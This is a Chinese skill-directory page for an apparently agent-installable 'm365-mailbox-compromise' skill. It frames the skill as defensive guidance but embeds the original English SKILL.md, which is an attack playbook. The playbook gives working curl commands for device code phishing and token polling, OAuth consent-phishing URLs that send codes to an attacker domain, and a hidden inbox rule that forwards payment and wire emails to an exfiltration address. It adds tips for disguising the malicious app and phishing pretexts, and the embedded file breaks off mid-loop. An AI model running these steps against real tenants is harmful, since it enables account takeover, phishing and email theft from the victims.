m365-mailbox-compromise
它能做什么
这项技能介绍 Microsoft 365 邮箱被接管并被长期控制的主要方式。适合负责保护邮件和身份系统的安全团队。
适用场景
- ✓当授权测试需要检查同意钓鱼是否可能让外部人员获得邮箱访问权限时。
- ✓当你想检查邮件转发规则中是否存在隐蔽收集邮件的迹象时。
- ✓当公司正在规划如何防御设备代码钓鱼时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查我们的 Microsoft 365 租户,看看攻击者常用的邮箱接管方法是否存在?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体列出每一种方法,说明防守方应关注的迹象,例如异常的应用同意授权或新建的转发规则,并提出阻断建议。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Microsoft 365 Mailbox Compromise
Targets Microsoft 365 tenants through OAuth consent grants, device code phishing, delegate access abuse, and mail flow rule persistence. Provides silent, persistent email collection that survives password resets and MFA changes.
Quick Reference
# Device code phishing — initiate auth flow
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite"
# Poll for token after victim enters code
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<DEVICE_CODE>"
# List mailbox messages via Graph API
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$top=50&\$select=subject,from,receivedDateTime" \
-H "Authorization: Bearer <ACCESS_TOKEN>" | jq '.value[] | {subject,from,receivedDateTime}'
# Create inbox forwarding rule
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
-H "Authorization: Bearer <ACCESS_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"displayName":"","isEnabled":true,"sequence":1,"conditions":{"subjectContains":["invoice","payment","wire","transfer"]},"actions":{"forwardTo":[{"emailAddress":{"address":"<EXFIL_EMAIL>"}}]}}'
MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Steal Application Access Token | T1528 | OAuth consent grant or device code phishing for Graph API tokens |
| Additional Email Delegate Permissions | T1098.002 | Add mailbox delegate or ApplicationImpersonation role |
| Remote Email Collection | T1114.002 | Exfiltrate mail via Graph API or EWS |
| Office Application Startup | T1137 | Outlook rules, forms, and home page for persistence |
| Phishing: Spearphishing Link | T1566.002 | OAuth consent phishing URL delivery |
| Account Manipulation | T1098 | Mail flow rule creation for persistent forwarding |
1. OAuth Consent Grant Phishing
Craft Malicious OAuth Application
# Register app in attacker-controlled Azure AD tenant
# Azure Portal → App Registrations → New Registration
# Redirect URI: https://<ATTACKER_DOMAIN>/callback
# Request permissions: Mail.Read, Mail.ReadWrite, Contacts.Read, Files.Read
# Build consent URL — victim clicking grants access
CONSENT_URL="https://login.microsoftonline.com/common/adminconsent?client_id=<MALICIOUS_APP_ID>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=https://graph.microsoft.com/.default"
# For user-level consent (no admin required):
USER_CONSENT="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<MALICIOUS_APP_ID>&response_type=code&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=Mail.Read+Mail.ReadWrite+offline_access&response_mode=query"
# After victim consents, exchange auth code for tokens
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=<MALICIOUS_APP_ID>&client_secret=<APP_SECRET>&code=<AUTH_CODE>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&grant_type=authorization_code"
Evasion: Disguise the Application
# Name the app to look legitimate:
# "Microsoft Security Update"
# "IT Helpdesk Portal"
# "SharePoint Document Viewer"
# Use a publisher domain similar to target org
# Request minimal permissions initially, escalate later via incremental consent
2. Device Code Phishing
# Step 1: Generate device code (no victim interaction yet)
RESP=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite Mail.Send User.Read")
DEVICE_CODE=$(echo "$RESP" | jq -r '.device_code')
USER_CODE=$(echo "$RESP" | jq -r '.user_code')
VERIFY_URL=$(echo "$RESP" | jq -r '.verification_uri')
echo "Send victim to: $VERIFY_URL and enter code: $USER_CODE"
# Step 2: Send phishing message directing victim to https://microsoft.com/devicelogin
# Pretext: "MFA re-enrollment required" / "Security verification" / "Teams meeting access"
# Step 3: Poll for token completion (victim enters code and authenticates)
while true; do
TOKEN_RESP=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=$DEVICE_CODE")
常见问题
什么是同意钓鱼?
它诱骗用户批准一个应用,随后该应用就能访问其邮件。
管理员应该关注什么?
意外的收件箱规则,例如转发或删除邮件的规则,以及异常的应用同意授权。
为什么令牌审查很重要?
该技能指出,有些访问权限在重置密码或更改多重验证后仍然有效。
详情
作者的原始描述
Microsoft 365 mailbox compromise chain — OAuth consent phishing, delegate access abuse, mail rule persistence, and token theft via device code phishing. Full kill chain from initial access to persistent email collection.
热度
- GitHub 星标
- 6.5k
- 排名
- #14000
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …